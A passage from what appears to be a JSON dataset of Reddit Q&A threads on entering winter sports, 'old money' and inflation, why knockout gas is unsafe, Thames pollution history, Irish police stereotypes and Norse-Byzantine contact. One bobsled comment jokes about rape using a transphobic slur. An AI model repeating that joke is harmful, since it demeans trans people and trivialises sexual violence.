races.  It's just the Olympics when Americans actually see anything.", "how big a difference is there between skeleton and luge? \n\nI know the basic differences ie face first and feet first but prep wise and equipment wise. ", "I am from Perth Australia and one of my mates is currently in the Australian bobsled team. \n\nHe started bobsledding after our states institute of sport refused to give him funding even after he is up with the fastest 60m sprinters in the world. \n\nI do not know the details but he was contacted and someone came down and had a look at him. Before we knew it we had a bobsled at the athletics track and we were told that he is in the Australian team! \n\nNow he is over at the Olympics, something he was wanted to do his entire life. Just maybe the wrong sport :p\n\nEdits: Paragraphs, spelling and added a little bit more to the story", "I wondered this too. like sorry guys I can't go out, I've got luge practice :/", "I just joined a local curling league with my boyfriend.  He found it on google. It's a learning league but I am sure that it's a good start as far as trying the sport out. ", "Curling is relatively easy to get into if you live in a major city. It doesn't seem as hard to get into as bobsledding or luge.\n\nIf you're interested in finding your local curling rink: _URL_0_\n\nI've seen prices go as low as 5 USD per person for an afternoon during an open house promotion. It's probably closer to 20 USD per person regularly.", "acquaintance of mine played rugby. \n\nWent to Sydney. Saw news paper ad: \"Try out for olympic bobsled team.\" \n\nThey saw who could run fast over a small distance, (and push heavy things maybe?) \n\nBlam. In Australia's bob-sled team. \n\nHe's a sports reporter now in Canberra. ", "Curling is cool in Canada. Its like going bowling, but with ice and prestige. ", "A lot of athletes are scouted at young ages and also do pathway sports. Many athletes who start off in athletics or gymnastics will be scouted into different sports. Once an athlete is scouted, their fitness, mentality, genetics etc, it tested and it is determined whether they will be the right \"fit\" for the sport. This also allows for a large pool of talent to pick and choose with and cater to the athletes abilities\nFor example many gymnast are scouted into aerial skiing. They already have the basis for rotations and twisting. Once they learn to ski they have a good chance at learning the harder jump easier. ", "I always wondered the same about ski jumping. Like it would be so scary making that first jump with no prior experience.", "\"How does one become a janitor?\"", "Oddball sport...oddball sport....curling? Really? \nMaybe its just canada.  My hometown has multiple curling leagues, and its pretty small.", "It's funny that you mention curling. That is a relatively popular sport in Canada. Its on TV even when the olympics are not on. I know lots of people who curl. ", "step 1) Have parents with lots of disposable income. \n\nstep 2) lol.. there is no step two in life if step one is covered.", "Well, I am fortunate to live in Whistler, BC where there is a bobsleigh track from the 2010 Winter Olympics. In public family places like the pool, gyms or schools there are little posters about the Luge, \"want to become an Olympian\" it says. So that's one way, there is another though. \n\nA friend of mine signed up for a bobsleigh driving course, it was $150 I think. He has experience racing cars on tracks so he took it up quite naturally. He kept going and impressed the coach, who then entered him into the local competition which he won. Next winter they are going to enter one at Calgary too. Now, here is the trick, like me he is from the UK, with bobsleigh track on the doorstep of where he lives he may well, in a bit of time, become UK's best bobsleigh pilot. \n\nThat's my two pence, I always wondered and now it's literally happening before my eyes. Interesting to see, I don't think I'll ever live somewhere that has a bobsleigh track ever again. ", "As for curling, in the north-east and highlands of Scotland there are a lot of curling rinks. It's quite a traditional sport as it used to be played during decent winters (fuck all of them any more) on frozen lochs, including one about three miles from my house, where we still curl when the weather is cold enough. If you listen to the British curling team you'll notice that every one of them has a highland/north-east accent. Plus we also did curling in PE at school, as did a lot of other people up my way.", "I was JUST thinking about this last night. How the hell does anyone get into ski jumping?!", "NPR just did a story yesterday about Curling, focusing on one woman for the Canadian team who grew up in America, in Wisconsin.  There are several high school based clubs for Curling, and Wisconsin is home to the most curlers in America, if I remember correctly from the story.\n\nAlso a girl in Southern California is trying to start a team at her high school.  So, some of it is just being in the right location, or having a large enough desire/interest.\n\n[Here is a link to the Story and a transcript of it from NPR](_URL_0_)", "My cousin Katie Eberling is a US alternate for the womens bobsled team. She was selected while still in college due to being a standout athlete in volleyball.  She is a brakeman for her team annd was selected because brakemen need really good push times, and thus really strong legs. After selecting the athlete, cross-training begins to increase leg strength and general muscle mass.  after which they're kearn the operation of the sled and practice with their partners. After a period of training when the season starts, they run every meet and world championship up until the Olympics. \n     Now, you would think that after all this grueling training, flying all over the country and running every race until the Olympics would be enough right? Wrong. Even after wining several World Championships in womens bobsled and numerous Top 3 finishes, and having the best push times of any brakeman on the team, my cousin was passed over in favor of former (and failed) summer olympians Lolo Jones and Lauryn Williams. This actually gained the attention of the national sporting press, even so far as to be the subject of a rant on Pardon the Interruption.  Basically it outlined how a clearly superior, albeit Olympically inexperienced athlete, was passed over in favor of a recognizable name.  Lolo Jones had her chance twice at the Summer Olympics, and fell on her face, quite literally. Someone probably said to her \"hey you'll be too old to compete at the next Summer Olympics, why don't you learn a winter sport and buy your spot with your name and legion of twitter followers.\" I guess the bobsled selection committee felt a comeback story with a failed Olympian wass a better story than some girl from Chicago with 700 twitter followers. \n     So now sadly, she lives the life of an Olympic alternate. She didn't get to walk in at the opening ceremony, she doesn't stay in the Olympic village, and she doesn't even get one of those ugly Team USA sweaters. In stead, she lives in a residence near the bobsled track with a luger and her family. She helps carry the 400 pound sled up the track and set it, and runs practice runs so the regular competing brakemen can get a day off (Which essentially means every day). And despite all thats happened to her, despite the disappointment and heartbreak, she is there. She is supporting her team-mates and doing everything asked of her. She has the poise of a champion and is positive and supportive.  And the Bobsled coaches may already be regretting putting Jones in the Sled over Katie, as yesterdays results had her sled finishing 11th and unlikely to medal. \nTR : DR cousin chosen out of college for Bobsled, passed over in  final months for a more recognizable name.\n", "I have the answer to this... I posted this exact question a few months back and it got zero upvotes and no comments... until I got a PM a few days later.\n\nHey MisterMJ, I saw that you asked a question the other day asking how someone becomes a bobsledder. I joined the U.S. team in 2005 and was on it for two years until a freak accident in 2007 ended my career\n\nAnyway, to answer your question, in order to become a bobsledder (in the US) you have to apply to attend a selection camp. Selection camps are usually held a couple of times during the winter season and usually 5-10 participants are selected to attend. You fill out a huge application on the us bobsled team website, and include your scores for various different fitness tests. Sprinting, weightlifting, vertical jumps, exciting stuff like that. Based off your scores, and whether or not you are the right size (bobsledders are huge! women must at least be 5'10\", men are usually around 6'2\" or taller.) you will be told to report to either the bobsled track in Lake Placid, NY or Park City, UT. I went to New York and completed one week of initial training. The first day you have to pass a physical fitness test and must meet the minimum sprint times and weight lifts or you will be told to leave. Then you spend the rest of the week taking runs down the track in the back seat (brakeman) and pushing sleds down the push track. Lots of people cant handle the G forces and fail out of the class. Basically, if you survive the week and you will be given the option of joining the olympic development team or leave without making any commitments. I chose to join the olympic development team and I moved to Park City to begin training. I went to two practices a day, weight training/sprinting in the morning and made actual runs down the bobsled track at night. Once the bobsledding season ended in march we switched to just doing weight training and push track training. The push track is a bobsled that you push down a hill on rails. When fall rolled around we all packed up and went to New York to compete in the national team trials. There are world circuits the us competes on, the world cup, intercontinental cup, europa cup, and the americas cup. I made the americas cup team (which is like the \"beginners team\"). After a while I decided I didn't really like riding in the back as the brakeman so much and I was given the opportunity to learn to drive. I went through a few months of driving lessons then took my international bobsled driving license test and received my license. About a month after I got my license I was helping coach a beginners class and I was hit by a bobsled that had not been cleared to go down the track. I broke my legs and both hands and was cooped up in the hospital for a long time. All is well now, but I haven't been bobsledding since. I still own a sled though, which I rent out to beginners learning to drive. Id be happy to answer any more questions you have about bobsledding.", "The bobsleigh Spanish Olympic team (from Jaca, in Aragon) just looked for a sport which they were the first of the country. They just go to the Olympic Games without doing nothing LOL (I don't know if they're playing in these ones)", "I was a member if the Canadian Junior National Luge Team so I should be able to answer this too!\n\nMost of the athletes at Sochi are athletes I was part of the Canadian team with, or are people that I directly competed with.\n\nBasically I was 10 and had quit hockey because of a mixture of asthma and not really loving the game. I was sitting around most of the time getting fat and my mom, who happened to work at the Olympic park at the time, sat down, handed me a brochure with a bunch of sport camps, and said pick one. I thought \"luge is basically tobogganing, that might be fun\" so I went to their recruitment camp and enjoyed it. They invited me back to join the novice team.\n\nAfter about a year and a half I was pushed up to the Development team, where we started working out 4 times a week, had 3-4 sessions of sliding a week, and would do start training another couple times a week. Oh and we were also expected to do gymnastics too after working out.\n\nI got into Doubles Luge and my partner and I got promoted to the Junior National team pretty quick, so we travelled around Europe when I was 14 sliding on the Junior National World Circuit. We were Junior National Canadian Champions, got 3rd at a few Senior National events, and then some administrative drama happened that made us lose interest in sliding doubles together, around the summer before the Olympics in Whistler. The team of Walker/Snith (4th in Sochi) was put together after my partner and I stopped sliding together.\n\nIt was a pretty big commitment, I went to a special school for athletes: the National Sport School, because I was in Europe for 6 months of every winter. We had constant physical testing to check our progress.\n\nHappy to answer any questions!", "TIL: Bobsedders are rejects from other sports. Football fucked your knees?  Olympic Bobsled! Not fast enough runner? Bobsled! Raped a shemale after bar night? Olympic Bobsled!", "A friend of mine is actually on the Canadian bobsled team. Bobsledders are usually failed athletes in their main sport (as with my friend, he originally was a football player)", "My friends went to the US bobsled website and got in contact with the coaches about the training camps and then moved out to Salt Lake City. One is on the women's bobsled team doing the America's cup and the other is on the skeleton team. Despite their hard work neither is competing this year at Sochi", "The best way to get into bobsledding is to be a failed sprinter.", "I got into Olympic Weightlifting a few years ago after watching some youtube videos and got inspired. I was like you. I had no idea how to start and you can not train these lifts (snatch and Clean  &  Jerk) at a commercial gym. Luckily I knew a friend who's into the sport and hooked me up with a coach.\n\nWhat you can do is go to _URL_1_ and select the sport that you're interested in. All the registered coaches and athletes are on that website. You can find local clubs and registered coaches nearby (if there's any).\n\nEDIT: For example - I was able to find some Curling clubs in California: _URL_0_\n\nEDIT 2: Not sure how this would work if you're not in the US. Perhaps your country will have a similar website?", "Canadian here.  You can just go down to the local curling rink and have a go at it.  So no barrier to entry here.  ", "I raced bobsled and skeleton for a couple of seasons. Every summer in the U.S. they hold an open tryout (usually in Aug). When I did it they held one in Lake Placid. There is a series of tests. Sprint, jumping, etc. and a push test with a sled on rails. Uf you qualify well they invite you to come work and train with the team.\n   When I started skeleton,  they had me lay down on a sled from the half track and let me ride down and get used to the track and sled. When you are comfortable with that they take you to the full length and go from there minus the running start. Its a totally different experience. There are only two tracks in the U.S., Lake Placid and Salt Lake City.  Bobsledders usually have a sprinting or football backround. They are big guys too 6'4\"+ and 230lbs+ except the driver is usually smaller. I was too small but better suited for sleleton. \n    When you qualify to train, the team usually has the basic equipment for you to use. Once you show you have talent tge you usually invest in personal equipment such as a sled for skrleton or luge . Bobsleds are different because of the cost and there arent many out there. The team provides them for the most part. In LP there were also some local club teams that had older sleds. ", "I grew up in Park City, Utah and my opinion is that it simply depends on your location. ", "Thanks for asking this OP, I've asked myself this question a babillion time. ", "I'd like to know not how, but why? You may become the best at sliding down an icy track, among those who had the opportunity, funding, and privilege to try it. But why is that important?\n\nSure it's great to set your mind to something and achieve a goal, but why not pick a goal that will actually benefit humanity, or at least one other person other than yourself (and your sponsors and the IOC). It seems like such a waste.", "There is a documentary you can watch on bobsledding, at least. Stars John Candy", "The biggest challenge to Olympic sports is the reality that being driven and committed to a performing at the level to get to the Olympics is almost never enough.  Olympic sports are very exclusive and demand a lot of upfront expenditures to be able to afford the time commitment towards the specific sport.  The money just isn't there.  Yes there are exceptions, but outside of hockey, the real money any of these Olympians are making are in endorsements.  It is hard to commit the time necessary to reach the level of something like bobsledding because A) the world economy doesn't consider bobsledding as a worthwhile profession B) the amount of time required warrants the sports being your profession which means C) you are going to need a lot of money to afford this.\n\nMost Olympic sports are luxuries.  I didn't fully comprehend this until I finished my career racing in college and am now broke.  This is alpine skiing I'm talking about, which has a consumer industry, albeit nothing compared to basketball other other team sports.  Bobsledding, I am assuming, is virtually possible to a very small demographic of individuals to begin with\n\nEDIT:  after reading more comments, just like I was exposed to in ski racing... Getting to the level of national recognition until you are on the dole of your host nation is the same as becoming a professional... The amount of time, effort and resources to get to that point significantly reduces the pool of individuals who can possibly attempt it.  And the all important work ethic must still remain.", "Oo something I can contribute to. I will explain a lot more than required, just because I can \n\nI work for the company setup by the Canadian government to maintain and run the Olympic venues after the 2010 Vancouver winter Olympics. \n\nA shit ton of cash was dropped into an investment account when Vancouver won the bid, the return on this investment is what pays for the venues to operate at huge losses which is just part of running venues that don\u2019t see much if any profit from outside sales\n\n3 Whistler Olympic venues \n\n* Sliding center \u2013 Bobsled, Skeleton  &  Luge\n\n* Olympic Park \u2013 Biathalon, Corss country, ski jumping\n\n* Athletes Village \u2013 Cheep Accommodation for training athletes while in whistler\n\n1 Vancouver Olympic Venue \n\n* Richmond Speed skating oval \n\nThe company is non-profit and its remit is to support Canadian sport, which involves running lots of training camps for youths \u2013 most run by the British Columbia and Alberta associations - _URL_0_ - _URL_1_ - these guys are here all the time training and running camps to help kids get into the sport \u2013 as with everything the more money invested by the government = more medals in the events \u2013 I am sure someone smart could make a graph about that. We run pilot schools here for bobsled, which one of my friends just completed \u2013 obviously it helps to live close to the track to be involved, as of the moment I believe there are 17 tracks in the world source: _URL_2_ \n\nIf anyone is interested in more information, be happy to help \n", "As a former US Luge athlete I know this one! the US Luge team recruits across the country for 'junior development' teams which is based in Lake Placid NY. There have been exceptions to this for this athletes who started on a rec club sort of team in Lake Placid NY, Park city UT, and a small track in Muskegon MI which actually varies from the Olympic style tracks around the world. I started in Muskegon and excelled in my age group and traveled to Lake Placid to compete in a junior development race whe're I placed top 10. I was soon on the development team and worked up to the Junior National level after several years of training.. lots of runs down the track.. and physical training and testing almost daily (endurance, strength) I'd say that even at the youngest levels the athletes' training would equate to the hours spent at a full time job. When I was competing internationally I was still in high school which meant travel, training, and fulfilling high school credit hours. It is such a big commitment that it was overwhelming, for me at least, and the time spent far far away from home was overbearing. I quit after a few good seasons and was hopeful for the 2014 Olympics. After I quit, the board of education caught that I never fulfilled a PE credit  and made me take summer school PE after walking for graduation.\n\nedit: ranking 7th in the world out of so many top competing athletes is still my biggest accomplishment. I only brag about it in my resume, and it never is a topic of discussion during interviews.", "I cannot fathom how you go down the SKI Jump (the one where the world record is 262 meters) the first time without freaking out. (at least a bit)", "Realize this is buried but OP near my college there was an ice rink with a pleasure curling team that met weekly for some ice time.", "I read somewhere that sprinters (100 m guys mostly) have been recruited for bobsled because they have that \"out of the blocks\" speed you really want for the guys in the back. Is that true? Always figured it'd kinda suck to tell a guy \"yeah,you're really good but never going to win the 100 m, so here's your sled....\"", "\"Very well, where do I begin? My father was a relentlessly self-improving boulangerie owner from Belgium with low-grade narcolepsy and a penchant for buggery. My mother was a 15-year-old French prostitute named Chlo\u00e9 with webbed feet. My father would womanize; he would drink. He would make outrageous claims like he invented the question mark. Sometimes, he would accuse chestnuts of being lazy. The sort of general malaise that only the genius possess and the insane lament ... My childhood was typical: summers in Rangoon ... luge lessons ... In the spring, we'd make meat helmets ... When I was insolent I was placed in a burlap bag and beaten with reeds \u2014 pretty standard, really. At the age of 12, I received my first scribe. At the age of 14, a Zoroastrian named Vilmer ritualistically shaved my testicles. There really is nothing like a shorn scrotum \u2014 it's breathtaking ... I suggest you try it.\"", "A well answered ELI5 needn't concern itself with redundancy, why is the comment about this having been answered 500 times relevant?  Ongoing discussion about topics that have been discussed before are off limits, now?  Shit's going to get pretty boring up in here if novel discussion of previously discussed topics is out of bounds.  \n\nPeople like to engage in threads, and reddit has new and old members constantly, and not everyone sees every thread, and if they can't participate in an older thread which will no longer garner any attention, why would they use the search function?  A 'live' thread topic is always more interesting.  There's an upvote system for a reason."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://i.imgur.com/MSHVkrr.jpg"], [], [], ["http://www.youtube.com/watch?v=UiqAwCB-TtA", "http://www.youtube.com/watch?v=PGu2WHLNSSI", "http://www.youtube.com/watch?v=vEIv95bzLy8"], ["http://en.wikipedia.org/wiki/Jana_Pittman"], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Lists_of_curling_clubs"], [], [], [], [], [], [], [], [], [], [], [], ["http://www.npr.org/2014/02/18/278952312/curlers-try-to-get-younger-people-interested-in-the-sport"], [], [], [], [], [], [], [], [], ["http://www.teamusa.org/USA-Curling/Clubs/Find-a-Club/List-of-Member-Clubs-by-State/California", "www.teamusa.org"], [], [], [], [], [], [], [], ["http://www.slidebc.ca/", "http://www.albertaluge.com/", "http://en.wikipedia.org/wiki/List_of_bobsleigh,_luge,_and_skeleton_tracks"], [], [], [], [], [], []]}
{"q_id": "3ion9k", "title": "\"old money\"", "selftext": "So, in my area, when they say that rich people have \"old money\", they mean that their wealth is from generations ago. I'm not really sure how to word this, so I hope you can understand what I'm asking...\n\nSo, if $20 back in the '20s and '30s was worth more than it is today, how did they convert it through the years? If that's true, shouldn't \"old money\" have gotten more and more worthless through the years? I don't really understand this?\n\nI think this is my easiest explanation for it? I really don't have a better one, sorry! Hopefully you understand and can help me understand this!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ion9k/eli5_old_money/", "answers": {"a_id": ["cui9xh3", "cuia2nh", "cuia3kv", "cuia4ap", "cuia5iw", "cuiacod", "cuiaosi", "cuiaotu"], "score": [29, 14, 3, 3, 2, 10, 2, 2], "text": ["Old money is inherited money. Not the physical currency. If my grandpa made a lot of money and passed that to my father and he passed that to me, that would be old money.\nNew money is money that I make. If I start a million dollar business then that money is new.", " >  So, if $20 back in the '20s and '30s was worth more than it is today, how did they convert it through the years? If that's true, shouldn't \"old money\" have gotten more and more worthless through the years? I don't really understand this?\n\nIt's all tied up in investments, not kept under a mattress.  $20 invested in Ford back in 1979 would be worth over $2000 today.\n\nYou ever hear the saying \"the rich get richer\"?  This is how it works.", " > So, if $20 back in the '20s and '30s was worth more than it is today, how did they convert it through the years.\n\nThis is part of why people invest in the stock market - to earn enough money to stay ahead of inflation.  Putting your money in a bank account does pay interest, but usually it's less than the rate of inflation.", "Old money is when a family has been rich for years and has property. Land, buildings, businesses, etc. Perhaps they are even nobility.\nNew money is when someone strikes oil or gold, or sells his app for a brazillian dollars, or gets tripple platinum for a pop song. And then moves into the rich neighbourhood and spends all his money on flashy things. But they are still uncultured idiots with no sense of taste or manners.\n\nSo it is mostly a case of rich people looking down on other rich people. \n", "Being \"Old Money\" isn't only about the money in and of itself, but also the values and culture of the family. Generally speaking, in the United States, an old money family is likely to participate in particular cultural institutions (elite schools, exclusive country clubs, debutante balls), to hold certain values (noblesse oblige, genteel manners, the value of education), and to be of largely English descent. ", "The term \"old money\" isn't referring to the physical currency at all.  It's a concept used to explain institutional wealth.\n\nLet's say you have two families: Family A and Family B.\n\nOne Family A ancestor around the year 1900 had a successful business, and invested wisely to make a lot of money.  With his new wealth, he moved his family to live in a nicer area, sent his kids to better schools, and was able to take on even more (and riskier) investments without going broke.  Being around other wealthy people doing the same thing helped him to make wealthy friends, and resulted in his kids marrying the kids of other wealthy people.  This lead to his grandchildren having even more wealth, and so on.  By virtue of having a lot of money and learning how to manage it, wealth should last well into the future.  A few generations later, you've got yourself some \"old money.\"\n\nOn the other hand, Family B is \"new money\" (or \"nouveau riche\").  Maybe they struck oil in their backyard.  Maybe they won the lottery.  Maybe they wrote a series of books about sparkly vampires.  Either way, their money is in its first generation.  People who suddenly become wealthy often have no idea how to properly manage their money, and their family and friends don't either.  They don't have the same kind of built-in support system where money is concerned, which helps \"old money\" families survive over time.  This phenomenon is often why you see so many athletes, reality tv stars, etc. going broke just a few years after they make their millions.  ", "What I think you are referring to in your analogy is inflation.  And in your analogy, if the money a person had was cash, and that cash sat somewhere (in a safe, or a mattress as someone mentioned) from the 30's then yes, it is worth less today in respect to that money's buying power.\n\nMore than likely though, the person who made that money invested it, or at the least had it in a bank account earning interest.  So the money in the bank account probably made more than the inflation rate fighting off its loss in value.", "All these answers are too long.\n\nInterest. The money is usually invested somewhere that earns a lot of interest."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "vgpmw", "title": "Why is there no such thing as \"knockout gas\"? Or really any comic book standard non-lethal weapons.", "selftext": "I understand things like chloroform or any anesthetic must be accurately dosed to avoid brain damage/death, but is there anything out there dart, gas, topical, etc that could knock someone out? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vgpmw/why_is_there_no_such_thing_as_knockout_gas_or/", "answers": {"a_id": ["c54c7da", "c54dqey", "c54dx9y", "c54ern8"], "score": [28, 9, 6, 12], "text": ["A dart can, and has been used for this purpose, however the effects take at least 30 seconds to 1 minute, so it is not immediate. Gas is much to unpredictable and without a trained anesthesiologist on hand to fix any airway problems, could be fatal.\n\nThe Russians tried gas several years ago in a theater hostage situation and killed several dozen hostages.", "It's not easy to anesthetize people. And typically the drugs used to do so have a fairly narrow range between the effective dose and damaging or lethal doses. When you administer something as a gas distributed in an area you can't control dosing precisely, so you'll end up with people who are unaffected and people who are dead. And if you wanted to kill everyone you'd just use a bomb or nerve gas.", "There is. Halothane is a gas anesthetic that is widely used. Also check out isoflurane. I use them both fairly frequently on rats, and if they inhale them in a closed environment, they will go down fast. \n\n_URL_1_\n\n_URL_0_", "To be more clear, there are plenty of knockout gases. Any modern inhalational anesthetic can be used. However, there is a pretty fine line from making someone lose consciousness and the point where they stop breathing. This is because basic consciousness and breathing are both controlled by centers in the brainstem. It's hard to target one without the other. Different people with different biochemistry and body size and so forth will have different effects from an anesthetic, so a dose that could safely knock one person out almost surely could kill another.\n\nWhen someone stops breathing, they die in pretty short order. That's why the field of anesthesiology exists. When we induce coma or anesthetize someone, the anesthesiologist is securing the airway and taking control of breathing in very short order after administering a drug.  Many general anesthetic drugs can be used to induce a \"twilight\" level of sedation (conscious sedation), kind of half-asleep half-awake and often times with an induced amnesia for the event. This, however, requires close monitoring and constant adjustment to make sure the person continues to breathe through the sedation. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Isoflurane", "http://en.wikipedia.org/wiki/Halothane"], []]}
{"q_id": "122l6j", "title": "[Environmental History] Effect of the Industrialization of England on the River Thames?", "selftext": "Hi guys, I'm taking an environmental history course and I was wondering how badly the Thames was affected by the industrialization of England. Also is there any further reading you could suggest?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/122l6j/environmental_history_effect_of_the/", "answers": {"a_id": ["c6rn3bq", "c6rsd3j"], "score": [2, 8], "text": ["You might be interested in [The Great Stink](_URL_1_) of London in the sumer of of 1858. It was caused by the growing population of industrialised London coupled with inadequate sewage systems. The stink of human waste was so bad that the House of Commons was affected by it and (ineffectively) tried to combat it by drenching their curtains in chemicals. [Further reading](_URL_0_)", "I wrote up some reviews of some of the main readings (which you might also be reading for this class), though I should point out that I did this a few years ago, and I haven't seen some of the newer work that has since come out. Overall though, they provide a pretty good picture of changes in the Thames.\n\n* Breeze, L.E., The British Experience with River Pollution, P. Lang,\nNew York, 1993.\n\n* Luckin, B., Pollution and Control: A Social History of the Thames in\nthe Nineteenth Century, Adam Hilger, Bristol, 1986.\n\n* Porter, D., The Thames Embankment: Environment, Technology and\nSociety in Victorian London, University of Akron Press, Akron, 1998.\n\nLuckin\u2019s account turns on moments of crisis, and he argues that despite industrialization in the nineteenth century, before about 1860, the increase in *human* waste was the prime agent fouling the river and making its water undrinkable, not *industrial* waste--though of course those two things might be more intertwined than Luckin is allowing. The repeated cholera, dysentery, and typhoid epidemics that swept London from the 1830s were a major source of concern, but were generally beyond the abilities of public health officers, engineers, and chemists to stop, despite their various efforts at filtration and tests for contaminants. The bacteriological revolution of the late nineteenth century provided a new understanding of epidemiology, though it did not make it any easier for sanitary reformers, city engineers, and doctors to understand the source of outbreaks or to engineer solutions. Essentially, biomedical understanding was well ahead of treatment (see, for example, Roy Porter's histories of medicine).\n\nBy about the 1860s, as consciousness of Britain\u2019s empire and of London as the imperial capital increased, the Thames came to assume greater importance as a symbol of a world city.  In this context, a foul river was a sign of potential disease and filth at the heart of the imperial metropolis. And yet, control of the river was always contested: through the 1850s, municipal water supply companies insisted that the Thames water had never been better, and in the later nineteenth century industrial interests in the city did their best to prevent legislation that would have prevented them from using the river as an industrial sewer.  \n\nBy 1900, London\u2019s water supply remained intermittent and unsafe for its poorest residents, illustrating the way that environmental interactions\u2014whether they are hikes in national parks, vulnerability to floods, or, as in this case, exposure to waterborne dangers\u2014often reflect power relationships within a society.  London\u2019s water supply would not ultimately become significantly safer until 1915, when municipal authorities began chlorination.  One element that Luckin notes but omits from sustained discussion is the sanitary reformer Edwin Chadwick\u2019s scheme to recycle municipal waste as fertilizer.  To Luckin, this scheme was typical of Victorian liberalism, which demanded market-based solutions to problems.  However, this scheme presents an opportunity to link mid-century issues of disease and waste management to the beginnings of chemical fertilizers, for it was while Chadwick was attempting to improve the health of the British working class in the 1840s that Justus von Liebig was carrying out experiments that laid the chemical foundation for the nitrogen-phosphorus-potassium fertilizer combination, a combination which has since come to dominate agriculture over traditional organic fertilizers.  \n\nBreeze focuses in particular on the legislative response to river pollution in the Thames system, Aire and Calder system in Yorkshire, and Lancashire rivers, drawing heavily on the reports of two commissions, one from 1865 to 1868 and the other from 1868 to 1876.  These commissions produced reports that confirmed that British rivers were indeed polluted with human waste and industrial byproducts (imagine!), and Parliament responded with the 1876 Rivers Pollution Prevention Act, which formed the basis of river pollution law until 1951.  This legislation placed nearly all regulatory power in local hands, and did not adopt uniform standards for quality. As a result, local interests, often the very same industrialists who were responsible for pollution, generally did little to curtail it. They repeatedly cited cost as an impediment, claiming that reducing pollution would make them uncompetitive and result in closing factories. In short, their arguments created a binary between work and environmental protection\u2014workers could either have material prosperity or clean water, but not both.  \n\nBreeze\u2019s work compliments Luckin\u2019s well in that it takes a national perspective, and Breeze places river pollution into the context of political struggles between local and centralized authority in Britain. However, he focuses almost exclusively on the legislative process, and develops neither the cultural dimensions of river pollution\u2014how it was represented and what meanings were associated with it\u2014nor medical issues. It does, however, make clear that the impediments to environmental protections that Luckin identified were operative throughout Britain, and not only in London.\n\nFinally, Dale Porter also expands on one element of Luckin\u2019s work, the construction of the Thames Embankment from 1861 to 1874.  He argues that the Embankment was the outcome of struggles between various London interests, and that it ultimately served multiple powerful interests at the expense of other, more marginal groups.  \n\nThe Embankment radically reshaped five and a half miles of the London riparian environment, eliminating tidal flats with wharves and a smooth wall thirty feet high and ten feet wide at its base.  It reclaimed around thirty acres of land for the city, which now includes the Embankment Gardens, and provided the space to house the new London Main Drainage, an extension of the city sewer system that played a major role in reducing waterborne illness, though, as Luckin points out, it did not eliminate it.  The Embankment also, by removing tidal flats, made the river easier to navigate and faster-flowing, not to mention better-smelling, since the mud flats had tended to accumulate rotting matter of all kinds.  \n\nAs with Luckin\u2019s work, Porter\u2019s work contributes to a narrative of the Thames, and of British environmental history in general, that finds significant change in the first half of the nineteenth century due primarily to population growth, and only secondarily to industrialization. Thus, sanitation and removing human waste were at the center of the Thames Embankment, and indeed Porter notes that the London Main Drainage was actually the technically more difficult feat.  The Embankment itself could have been built a century earlier, and its only real innovation was the use of Portland cement, which hardened underwater. It also featured experimentation with steam-powered cranes and earth-moving equipment, though the bulk of the labor was done by hand. Porter takes a somewhat more optimistic view than Luckin, however, noting that deaths from infectious diseases in London halved between 1850 and 1900, even as the city grew exponentially. In an outcome familiar to environmental historians of the twentieth century, however, removing waste and pollutant from part of the Thames only moved it elsewhere, and the heavier industrial development of the second half of the nineteenth century moved downstream. So, part of the Thames was cleaner, faster, and more aesthetically pleasing\u2014but other parts of it remained industrial sewers.\n\nSee also\n\n* Halliday, S., The Great Stink of London: Sir Joseph Bazalgette and\nthe Cleansing of the Victorian Metropolis, Sutton Publishing, Stroud,\n1999.\n\n* Hassan, J.A., 'The Growth and Impact of the British Water Industry in\nthe Nineteenth Century', Economic History Review, Vol.38, 1985,\npp.531-47.\n\n* Hassan, J.A., A History of Water in Modern England and Wales,\nManchester University Press, Manchester, 1998.\n\n* Hardy, A., 'Water and the Search for Public Health in London in the\nEighteenth and Nineteenth Centuries', Journal of Medical History,\nVol.28, 1984, pp.250-82.\n\n* Wohl, A.S., Endangered Lives: Public Health in Victorian Britain,\nMethuen, London, 1984.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.choleraandthethames.co.uk/cholera-in-london/the-great-stink/", "http://en.wikipedia.org/wiki/Great_Stink"], []]}
{"q_id": "265v5g", "title": "why are the police in american cartoons and shows often irish?", "selftext": "Just watching family guy and the cop had an Irish accent and I had noticed in multiple shows and cartoons before.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/265v5g/eli5_why_are_the_police_in_american_cartoons_and/", "answers": {"a_id": ["chnxi0r", "chnxl1r"], "score": [3, 6], "text": ["Because traditionally a lot of big-city cops in Boston and New York City were (and often still are!) of Irish descent. The Irish big city cop became something of a stereotype, and then a cliche in fiction to match.", "It's a cliche based on the fact that, in the late 19th and early 20th centuries, many Irish immigrants joined the New York police force. The term \"paddy wagon\" originated from this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3d56pq", "title": "How did the Byzantines and Nords come in contact with each other prior to the forming of the Varangian Guard?", "selftext": "They both seem very far away from each other so why did the Greeks even bother dealing with the Vikings?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3d56pq/how_did_the_byzantines_and_nords_come_in_contact/", "answers": {"a_id": ["ct1ws24", "ctkcnw3"], "score": [3, 2], "text": ["The Norse had many trade routes down the Volga as well as in the Mediterranean. They likely came in contact that way before being hired as mercenaries. Quite a few gravesites and hordes in northern Europe have silver coin and the like with markings in Arabic as well as Greek, etc. \n\nSource: Oxford Press \"Vikings,\" (title?)", "Scandinavian traders -- mainly Swedes -- expanded throughout the Baltic Sea and began to sail down the great rivers of Eastern Europe (the Dnieper, the Volga, etc.) in the mid-8th century.  Unlike the expansion towards the West during the same period, raiding and pillaging were not effective tactics in Eastern Europe.  Though the area did feature expansive river systems, settlements in the region were much smaller, and the land itself was either densely forested or vast steppe regions.  Therefore, the expansion of Scandinavians into Eastern Europe was focused on trade and settlement, rather than war (at first).\n\nThanks to their great sailing ability and trade contacts in the Baltic, Scandinavians quickly became major players in the areas where they settled.  By the late 9th century, a mercantile elite of Scandinavian families had taken over the city of 